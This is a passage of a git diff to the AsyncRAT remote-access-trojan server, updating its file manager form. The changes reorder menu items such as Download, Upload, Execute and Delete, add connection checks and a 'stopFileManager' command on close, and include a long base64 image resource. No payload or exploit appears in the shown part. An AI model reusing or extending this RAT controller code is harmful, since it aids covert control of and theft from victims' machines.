this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem @@ -170,69 +171,81 @@ // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(229, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(229, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(229, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(232, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // imageList1 // this.imageList1.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList1.ImageStream"))); @@ -276,22 +289,9 @@ // // timer1 // - this.timer1.Enabled = true; this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // - // toolStripSeparator3 - // - this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); - // - // openClientFolderToolStripMenuItem - // - this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; - this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); - this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; - this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); - // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -302,6 +302,7 @@ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormFileManager"; this.Text = "FileManager"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFileManager_FormClosed); this.contextMenuStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); @@ -326,7 +327,6 @@ private System.Windows.Forms.ToolStripMenuItem dELETEToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem rEFRESHToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem eXECUTEToolStripMenuItem; - private System.Windows.Forms.Timer timer1; private System.Windows.Forms.ToolStripMenuItem gOTOToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem dESKTOPToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem aPPDATAToolStripMenuItem; @@ -341,5 +341,6 @@ private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; + public System.Windows.Forms.Timer timer1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index fcb1e9a..0687277 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -14,6 +14,7 @@ namespace Server.Forms public partial class FormFileManager : Form { public Form1 F { get; set; } + internal Clients ParentClient { get; set; } internal Clients Client { get; set; } public string FullPath { get; set; } public FormFileManager() @@ -80,8 +81,8 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)); + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); foreach (ListViewItem itm in listView1.SelectedItems) { if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; @@ -101,7 +102,8 @@ namespace Server.Forms { Name = "socketDownload:" + dwid, Text = "socketDownload:" + Client.ID, - F = F + F = F, + FullPath = FullPath }; SD.Show(); } @@ -231,7 +233,7 @@ namespace Server.Forms { try { - if (!Client.TcpClient.Connected) this.Close(); + if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close(); } catch { this.Close(); } } @@ -367,19 +369,20 @@ namespace Server.Forms msgpack.ForcePathObject("Path").AsString = "USER"; ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } - catch - { - - } + catch { } } private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e) { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "getDrivers"; - toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getDrivers"; + toolStripStatusLabel1.Text = ""; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch { } } private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e) @@ -392,5 +395,16 @@ namespace Server.Forms } catch { } } + + private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Command").AsString = "stopFileManager"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch { } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx index 88e86df..40a6e89 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.resx +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.resx @@ -127,8 +127,8 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 - ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - ZQAAAk1TRnQBSQFMAgEBAwEAAUgBAAFIAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABS + ZQAAAk1TRnQBSQFMAgEBAwEAAVgBAAFYAQABMAEAATABAAT/ASEBAAj/AUIBTQE2BwABNgMAASgDAAHA AwABMAMAAQEBAAEgBgABkEYAAwEBAgMMARADJwE7AxkBIwMFAQdDAAEBQwAEAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC AwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQEC @@ -136,431 +136,431 @@ AwABASsAAQEDBAEFAwsBDwMUARwDFQEdAwcBCgMCAQMDAQECAwABASwAAwIBAwMIAQsDDwEUAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEgEYAxIBGAMS - ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMBXgJhAd0BUgG0 - AdEB/wNCAXUDFgEfAwUBBwMBAQInAAEBAwMBBAMYASEDNgFYAU8CUwGlAVACUgGkAyIBMgMKAQ0DBwEJ - AwMBBCgAAwEBAgMLAQ8DHwEtAy4BSAMzAVIDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMz - AVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzIBUQMs - AUQDGwEmAwgBCwMAAQH/AKkAAwQBBQMcASgDRQF8A14B1QFUAXsBkAH6AVMBtQHSAf8DRgF/AyIBMQMT - ARoDCwEPAwUBBwMBAQIDAAEBAwMBBAMHAQoDEgEYAxsBJgMkATYDOAFdA0sBjgNYAbwBWgJdAdMBXQFh - AWMB4gFdAWgBagHwA14B3QNHAYIDMQFPAyABLwMSARgDBgEIAwIBAwMAAQEcAAMEAQUDFwEgA0gBhQNQ - AaMDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + ARgDEgEYAxIBGAMSARgDEgEYAxIBGAMSARgDEQEXAw0BEgMHAQkDAgED/wC5AAM7AWMDXgHdAVABtAHR + Af8DQgF1AxYBHwMFAQcDAQECJwABAQMDAQQDGAEhAzYBWAFPAlMBpQFQAlIBpAMiATIDCgENAwcBCQMD + AQQoAAMBAQIDCwEPAx8BLQMuAUgDMwFSAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFT + AzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMzAVMDMwFTAzMBUwMyAVEDLAFE + AxsBJgMIAQsDAAEB/wCpAAMEAQUDHAEoA0UBfANeAdUBUgF5AYoB+gFRAbUB0gH/A0YBfwMiATEDEwEa + AwsBDwMFAQcDAQECAwABAQMDAQQDBwEKAxIBGAMbASYDJAE2AzgBXQNLAY4DWAG8AVoCXQHTAV0CYQHi + AV0BZgFoAfADXgHdA0cBggMxAU8DIAEvAxIBGAMGAQgDAgEDAwABARwAAwQBBQMXASADSAGFA1ABowNU AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU - AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNTAaoDUAGfAzgBXAMSARkDAgED/wCkAAEB - AwIBAwMiATIDTQGRAV8BZgFpAegBXQGSAZkB+wFUAbIB0AH/AVMBtgHTAf8DSAGDAycBOwMeASsDGQEj - AxQBHAMTBBoEJAE2AzQBVANJAYgDVgG0AVoCXQHTAV8BZAFmAeABXQFxAXcB7QFdAYoBkAH5AVABpAG1 - Af0BUwGwAc4B/wFRAbQB0gH/AVABjQGgAfoBYgFmAWsB5wFeAmEB2gNCAXQDIwEzAxIBGAMHAQoDAgED - HAADBQEHAx0BKgNBAfkDSwH/A0sB/wNLAf8DSwH/A0sB/wMDAf8DAwH/AwMB/wMEAf8DDAH/AywB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/AykB/wNKAf8DSgH/A0oB/wNKAf8DSgH/A0oB/wNLAf8DSwH/A0sB/wNL - Af8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DSwH/A0sB/wNLAf8DaQH/A1MB/wNLAf8DSwH/A0sB/wNZ - AdcDFwEgAwQBBQsAAQEDAgQDBAQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1QBqwNU + AasDVAGrA1QBqwNUAasDVAGrA1QBqwNUAasDVAGrA1MBqgNQAZ8DOAFcAxIBGQMCAQP/AKQAAQEDAgED + AyIBMgNNAZEBXwFkAWcB6AFdAZABlgH7AVIBsgHQAf8BUQG2AdMB/wNIAYMDJwE7Ax4BKwMZASMDFAEc + AxMEGgQkATYDNAFUA0kBiANWAbQBWgJdAdMBXwFiAWQB4AFdAWsBcQHtAV0BiAGNAfkBTgGkAbMB/QFR + AbABzgH/AU8BtAHSAf8BTgGHAZwB+gFiAWQBZgHnAV4CYQHaA0IBdAMjATMDEgEYAwcBCgMCAQMcAAMF + AQcDHQEqA0EB+QNJAf8DSQH/A0kB/wNJAf8DSQH/AwEB/wMBAf8DAQH/AwIB/wMKAf8DKgH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DJwH/A0gB/wNIAf8DSAH/A0gB/wNIAf8DSAH/A0kB/wNJAf8DSQH/A0kB/wNJ + Af8DSQH/A0kB/wNJAf8DSQH/A0kB/wNJAf8DSQH/A0kB/wNnAf8DUQH/A0kB/wNJAf8DSQH/A1kB1wMX + ASADBAEFCwABAQMCBAMEBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQME - AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwIBAwMA - AQHoAAMCAQMDDQERA1UBrQFZAX4BhQH1AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHUAf8DSAGE - AykBPwMjATMDKAE8AzQBVANIAYQDWAHGAWIBYwFkAe8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1 - AdMB/wFRAbUB0wH/AVEBtQHTAf8BUQG1AdMB/wFRAbUB0wH/AVEBtQHTAf8BUgG1AdMB/wFSAbUB0wH/ - AVMBtQHTAf8BVAG2AdMB/wNOAZgDLQFGAx8BLAMRARcDBgEIHAADBQEHAx8BLAM/Af4DUQH/A1EB/wNR - Af8DUQH/A1EB/wMAAf8DBQH/A0EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/AyoB/wNi - Af8DYgH/A2IB/wNiAf8DYgH/A2IB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNRAf8DUQH/A1EB/wNR - Af8DUQH/A1EB/wNDAf8BAAG/ASwB/wE0AWABNAH/A1EB/wNRAf8DUQH/AzYB/wMYASIDBAEFBAADAgED - AwkBDAMaASUDKgFBAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE + AQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDBAEFAwQBBQMEAQUDAgEDAwABAegA + AwIBAwMNAREDVQGtAVkBdwGBAfUBUQG3AdUB/wFRAbcB1QH/AVEBtwHVAf8BUgG3AdQB/wNIAYQDKQE/ + AyMBMwMoATwDNAFUA0gBhANYAcYDYgHvAU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1 + AdMB/wFPAbUB0wH/AU8BtQHTAf8BTwG1AdMB/wFPAbUB0wH/AVABtQHTAf8BUAG1AdMB/wFRAbUB0wH/ + AVIBtgHTAf8DTgGYAy0BRgMfASwDEQEXAwYBCBwAAwUBBwMfASwDPwH+A08B/wNPAf8DTwH/A08B/wNP + Af8DAAH/AwMB/wM/Af8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wMoAf8DYAH/A2AB/wNg + Af8DYAH/A2AB/wNgAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNPAf8DTwH/A08B/wNP + Af8DQQH/AQABvwEqAf8BMgFeATIB/wNPAf8DTwH/A08B/wM0Af8DGAEiAwQBBQQAAwIBAwMJAQwDGgEl + AyoBQQMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFE - AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDKgFBAx0BKgMKAQ4DAwEE - 4AADDAEQAzABSwNZAb4BXQFnAWkB7QFSAagBuAH9AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVUBuAHV - Af8BUwJVAbABTwJQAZwBVgJYAbwBXAJgAdQBWwJhAeEBXAFjAWUB6gFgAXABdwH2AUsBigGhAfwBUgG1 - AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/AVIBtQHUAf8BUgG1AdQB/wFSAbUB1AH/ - AVIBtQHUAf8BUwG1AdQB/wFTAbUB1AH/AVQBtQHUAf8BVQG2AdQB/wNOAZgDLgFIAyMBMwMYASEDCgEO - AwEBAgMAAQEUAAMFAQcDHwEsAzQB/gM9Af8DPQH/Az0B/wM9Af8DPQH/AwAB/wM9Af8DPQH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DJAH/A2IB/wNiAf8DYgH/A2IB/wNiAf8DYgH/Az0B/wM9 - Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/Az0B/wM9Af8DPQH/AzkB/wETAYcBVwH/ATUBNwE1 - Af8DPQH/Az0B/wM9Af8DKwH/AxgBIgMEAQUDAAEBAxYBHgNOAZQDSAH2AzIB/gMeAf8DHAH/AxwB/wMc - Af8DHAH/AxwB/wMeAf8DHgH/Ax4B/wMfAf8DIAH/AyAB/wMiAf8DIgH/AyIB/wMjAf8DIwH/AyQB/wMk - Af8DIwH/AyMB/wMjAf8DIgH/AyIB/wMgAf8DIAH/Ax4B/wMdAf8DHAH/AxsB/wMaAf8DGQH/ARoCGAH/ - ASQBGAEZAf8BRQEdAR4B/wFqAjAB/wGDAjYB/wFqATEBLwH/AUkCJAH/AVEBRAFGAfcDVAGvAx0BKQMC - AQPcAAMyAVABVgJZAb4BYAGKAZQB+QFeAZ4BuAH+AVUBuQHYAf8BVQG5AdgB/wFVAbkB2AH/AVUBuQHY - Af8BVgG5AdcB/wFOAWkBcAHwAVQBZwFtAe4BUQFuAYQB9wE6AXgBfgH8AUEBlwGwAf8BTAGrAckB/wFR - AbQB0gH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHVAf8BUgG2AdUB/wFSAbYB1QH/AVIBtgHV - Af8BUgG2AdUB/wFSAbYB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVQBtwHVAf8BVQG3AdYB/wNO - AZgDLQFGAyMBMwMZASMDDAEQAwIBAwMAAQEUAAMFAQcDHgErAyoB/gMsAf8DLAH/AywB/wMsAf8DLAH/ - AwAB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DHgH/A2IB/wNiAf8DYgH/ - A2IB/wNiAf8DYgH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/ - AywB/wMsAf8DLAH/AywB/wMsAf8DLAH/AyEB/wMYASEDBAEFAwMBBAM4AV0DSwHyAwkB/wMAAf8DAAH/ + AywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAywBRAMsAUQDLAFEAyoBQQMdASoDCgEOAwMBBOAAAwwBEAMw + AUsDWQG+AV0BZQFnAe0BUAGoAbYB/QFSAbgB1gH/AVIBuAHWAf8BUgG4AdYB/wFTAbgB1QH/AVMCVQGw + AU8CUAGcAVYCWAG8AVwCYAHUAVsCYQHhAVwBYQFjAeoBYAFqAXMB9gFHAYQBmwH8AVABtQHUAf8BUAG1 + AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/AVABtQHUAf8BUAG1AdQB/wFQAbUB1AH/ + AVEBtQHUAf8BUQG1AdQB/wFSAbUB1AH/AVMBtgHUAf8DTgGYAy4BSAMjATMDGAEhAwoBDgMBAQIDAAEB + FAADBQEHAx8BLAM0Af4DOwH/AzsB/wM7Af8DOwH/AzsB/wMAAf8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AyIB/wNgAf8DYAH/A2AB/wNgAf8DYAH/A2AB/wM7Af8DOwH/AzsB/wM7 + Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM7Af8DOwH/AzsB/wM3Af8BEQGHAVUB/wEzATUBMwH/AzsB/wM7 + Af8DOwH/AykB/wMYASIDBAEFAwABAQMWAR4DTgGUA0gB9gMyAf4DHAH/AxoB/wMaAf8DGgH/AxoB/wMa + Af8DHAH/AxwB/wMcAf8DHQH/Ax4B/wMeAf8DIAH/AyAB/wMgAf8DIQH/AyEB/wMiAf8DIgH/AyEB/wMh + Af8DIQH/AyAB/wMgAf8DHgH/Ax4B/wMcAf8DGwH/AxoB/wMZAf8DGAH/AxcB/wEYAhYB/wEiARYBFwH/ + AUMBGwEcAf8BaAIuAf8BgwI0Af8BaAEvAS0B/wFHAiIB/wFRAUgBSgH3A1QBrwMdASkDAgED3AADMgFQ + AVYCWQG+AWABiAGQAfkBXgGaAbQB/gFTAbkB2AH/AVMBuQHYAf8BUwG5AdgB/wFTAbkB2AH/AVQBuQHX + Af8BTgFnAWoB8AFUAWMBaQHuAVEBbQGCAfcBOAF2AXwB/AE/AZcBsAH/AUoBqwHJAf8BTwG0AdIB/wFQ + AbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHVAf8BUAG2AdUB/wFQAbYB1QH/AVABtgHV + Af8BUAG2AdUB/wFRAbcB1QH/AVEBtwHVAf8BUQG3AdUB/wFSAbcB1QH/AVMBtwHWAf8DTgGYAy0BRgMj + ATMDGQEjAwwBEAMCAQMDAAEBFAADBQEHAx4BKwMqAf4DKgH/AyoB/wMqAf8DKgH/AyoB/wMAAf8DKgH/ + AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AxwB/wNgAf8DYAH/A2AB/wNgAf8DYAH/ + A2AB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/AyoB/wMqAf8DKgH/ + AyoB/wMqAf8DKgH/AyoB/wMfAf8DGAEhAwQBBQMDAQQDOAFdA00B8gMHAf8DAAH/AwAB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8BAQIAAf8BcQEPAQAB/wG+AVwBMQH/AcMBcgFIAf8BvgFmATEB/wFqARgBBAH/ARACAAH/ - AR8CGwH/A0oBigMHAQncAANTAaoBUgF5AX8B9AFWAboB2QH/AVYBugHZAf8BVgG6AdkB/wFWAboB2QH/ - AVYBugHZAf8BVgG6AdkB/wFXAboB2AH/AUABlgGvAf8BPQGRAakB/wE9AZIBqgH/AT4BlAGtAf8BQwGc - AbYB/wFNAawByQH/AVIBtQHSAf8BUwG3AdUB/wFTAbcB1QH/AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/ - AVMBtwHVAf8BUwG3AdUB/wFTAbcB1QH/AVMBtwHVAf8BVAG4AdUB/wFUAbgB1QH/AVQBuAHVAf8BVAG3 - AdUB/wFWAbgB1gH/AU4CTwGXAywBQwMhATADGgElAxABFQMEAQYDAQECFAADBQEHAx0BKgMlAf4DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/ - A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wOwAf8DsAH/A7AB/wMcAf8DFwEgAwMBBAMFAQcDSAGI - AyUB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/ - AwAB/wMAAf8DAAH/AwAB/wMAAf8DAAH/AwAB/wEUAgAB/wEuAgAB/wE4AgAB/wEtAgAB/wEUAgAB/wED - AgAB/wEPAgwB/wNWAbkDDgET3AADVAGrAVkBewGEAfUBVgG7AdoB/wFWAbsB2gH/AVYBuwHaAf8BVgG7 - AdoB/wFWAbsB2gH/AVYBuwHaAf8BVwG7AdkB/wFBAZcBsAH/AT4BkgGqAf8BPgGTAasB/wE/AZUBrgH/ - AUQBnQG3Af8BTgGtAcoB/wFTAbYB0wH/AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVQBuAHWAf8BVAG4 - AdYB/wFUAbgB1gH/AVQBuAHWAf8BVAG4AdYB/wFUAbgB1gH/AVYBuQHWAf8BVgG5AdYB/wFWAbkB1gH/ - AVUBuAHWAf8BVwG5AdYB/wNOAZUDKgFAAx8BLQMcAScDFQEdAwwBEAMFAQcDAQECEAADBAEGAxwBJwOl - Af4DtwH/A7wB/wO9Af8DsgH/A7AB/wOvAf8DrQH/A6sB/wOqAf8DqAH/A6YB/wOlAf8DowH/A6IB/wOh - Af8DnwH/A54B/wOdAf8DnQH/A5wB/wOdAf8DnQH/A50B/wOeAf8DnwH/A6EB/wOiAf8DowH/A6UB/wOm - Af8DqAH/A6oB/wOrAf8DrQH/A68B/wOxAf8DsgH/A7QB/wPAAf8DvQH/A7gB/wOuAf8DFgEeAwMEBAEG - A0QBewM6Af4DKQH/AyoB/wMpAf8DKgH/AyoB/wMrAf8DKwH/AysB/wMsAf8DLQH/Ay0B/wMtAf8DLgH/ - Ay4B/wMvAf8DLwH/Ay8B/wMvAf8DLwH/Ay8B/wMvAf8DLwH/Ay8B/wMuAf8DLgH/Ay4B/wMtAf8DLQH/ - 